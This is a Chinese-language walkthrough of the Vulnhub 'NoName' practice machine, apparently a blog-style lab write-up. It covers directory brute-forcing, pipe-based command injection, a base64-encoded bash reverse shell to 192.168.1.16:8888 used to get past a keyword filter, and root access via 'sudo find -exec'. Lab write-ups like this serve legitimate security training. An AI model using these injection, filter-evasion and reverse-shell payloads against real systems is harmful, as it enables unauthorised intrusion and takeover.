vulnhub靶場
Vulnhub靶机-Jangow
Vulnhub靶机-mycms
Vulnhub靶机-no_name
Vulnhub靶机-Tempus Fugit 1
HACK学习
-
+
首页
Vulnhub靶机-no_name
# Vulnhub 靶机-NoName ## 信息收集 ``` nmap -A -p- 192.168.1.30 ```  **发现只开放了 80 端口。** **打开网页看了一下,发现是个假的提交框。** **同时发现页面给了提示,** **Fake Admin Area**--说明是假的管理界面,需要找到真的这个提交框,那么现在思路很明确了。开找!!!  **首先,我们需要把相关页面都检查一遍,防止有遗漏信息。** **检查一遍之后,发现没有任何遗漏,那么开始目录遍历。**  **目录遍历有很多工具,比如:dirb,dirbuster,gobuster,dirsearch 等等。今天我们掌握的是 dirsearch:** ``` dirsearch -u http://192.168.1.30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -r -i 200,300-404 -x 404 -e php,html,json,md,xml --random-agent #参数意思: #-t 线程 #-r 暴力递归 #-i 指定相应代码 #-x 不显示相应代码 #-e 指定后缀语言 #--random-agent 自定义请求头 ```  > **在这里,只探测了两个请求,笔者一个个看过去。虽然显示了一个 admin,但是目前并没有任何作用,只有四张图片,笔者怀疑该页面可能有隐藏信息,就 curl 继续查看** > >  ``` curl -i -L 192.168.1.30/admin ```  > **并没有发现任何的有用的信息** > > **到了这一步,我猜想,可能是将信息隐藏到图片中,所有,将四张图片都下载下来,查看了一番:**  **结果很遗憾,并没有发现任何有用的价值。** **其实到了这里,笔者心里面已经开始慌了,笔者前去官网查看了一下这个靶机难度,怀疑是看错了靶机难易程度**  **发现并没有看错,是一个初级水平的靶机,这个时候,笔者就纳闷了,为什么找不到漏洞呢?难道是找中间件漏洞?**  ``` locate php/remote/29290.c //查看漏洞位置 gcc exp.c -o exp //编译 apt-get install libssl-dev //解决报错 ```  **发现还是报错!!!!** **不会解决问题的程序员不是好网络渗透爱好者!!!** **继续解决问题:** ``` gcc exp.c -o exp -lssl -lcrypto //编译成功,指定库放在源文件后面即可。 ```  **现在,笔者怀着满满的信心,开始尝试!!!** > **开启监听** > >  > > > **笔者先尝试看看需要哪些参数:** > > > > **开始尝试第一种:----错** > > > >  > > > > **开始尝试第二种:---但是很遗憾,返回的都是 404。也许还是参数设置不对。** > > > > **开始尝试第三种:---得到的结论一模一样。** > > > >  **现在可以得出,这个漏洞不能利用。当然可能是我方式不对,所以,如果有知道该如何利用的,请告知我一声,一起学习一起进步!!** > **现在开始反思,是哪个地方出了问题?** > > **1.靶机难度确实是入门,那么说明漏洞不难发现。** > > **2.目前探测的只有 80 页面,探测没有问题。页面也很简单,都是静态,没有任何可交互的模式** > > **3.进行过中间件漏洞探测。中间件漏洞探测目前没有发现。** > > **4.进行过 web 目录遍历,那么根据页面提示,可能需要找到真正的 admin 页面。** > > **5.如果中间件没有问题,那么就是目录有问题,也许是字典太小了?** > > **好,说干就干,尝试大字典爆破!因为之前扫描发现有一个 index.php,那么先用 php 大字典扫一下:** **有新发现!!!!并且可以执行命令!!**   ## 反弹 shell > **看一下这个到底能不能执行其他命令** > > **尝试了之后,发现并不能执行其他命令** > > **那么换个思路,看能不能用 | 管道符。** ``` 127.0.0.1|id ```  **既然可以,那么先看一下该页面的源代码,看看是做了哪些处理,这样可以避免和之前一样,走不必要的弯路。** ``` 127.0.0.1|cat superadmin.php #具体解释放到图片中。 #那么这边是禁止nc等参数,同时也是禁止/ &符等参数。那么我们是否可以用一些加解密的方式跳过呢?来尝试一下! ```  ``` #还是一样,首先判断有哪些可以反弹的命令。(因为笔者之前没有判断,无脑nc,失败过,所以这次复盘才有这个过程。) 127.0.0.1 | whereis nc #没有信息 #正常来说都有bash,那么来看看bash把 127.0.0.1 | whereis bash #有 #那么开始bash反弹。 ```  ``` bash -c 'exec bash -i &>/dev/tcp/192.168.1.16/8888 <&1' echo -n "bash -c 'exec bash -i &>/dev/tcp/192.168.1.16/8888 <&1'" | base64 echo -n YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xLjE2Lzg4ODggPCYxJw== | base64 -d ##发现加密后和解密后一致,那么可以开始反弹shell了。 ```   **这里需要注意一下,因为 base64 解密后,只是一个纯文本,需要给他执行权限,所以后面需要给他一个 bash,让他执行。如下:** ``` 127.0.0.1 |echo YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xLjE2Lzg4ODggPCYxJw== | base64 -d | bash #开启监听: rlwrap nc -lvnp 8888 ```  **反弹成功!!!** ## 提权 > **查看相关版本信息:这个版本我记得是没有什么漏洞的。** > > **继续查看可否有 suid 提权的。** ``` find / -perm -u=s -type f 2>/dev/null |grep /usr/bin #这里有一个pkexec,是可以提权的,但是有一个限制,就是需要有sudo用户组权限或者密码。也就是目前应该是不可以用的。再找找其他的。 crontab -l #也没有定时任务。 #这里需要再找找其他文件,如果找不到,就需要上传linux检测的相关脚本,自行检测了。 ```   > **继续查询 home 目录下的用户目录:**    ``` find / -type f -iname "*passwd*" #我都看了一遍,没有查到有用的信息。 #那么在查找隐藏文件中有passwd的 find / -type f -iname ".*passwd*" #完美!!找到了!!! ```    > **好吧,显示需要用交互式命令,那么给他一个交互式命令把。** ``` python3 -c 'import pty;pty.spawn("/bin/bash")'; ``` **进入 haclabs 目录,用 cat 看了一下*.sudo_as_admin_successful* 这个目录**,**显示的还是这个,那么从字面意思来看,是这个用户有一个 root 权限的命令,那么用 sudo -l 查看一下**  > **使用 find 提权,这个再熟悉不过了!** ``` sudo find -exec /bin/bash \; -quit ```  **提权成功!!!** **===========================================================================** **这个靶机没有什么可以总结的,如果非要总结就是,以后扫描目录要用一个大目录~~~哈哈哈哈**
looch
2022年11月22日 22:12
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档
PDF文档(打印)
分享
链接
类型
密码
更新密码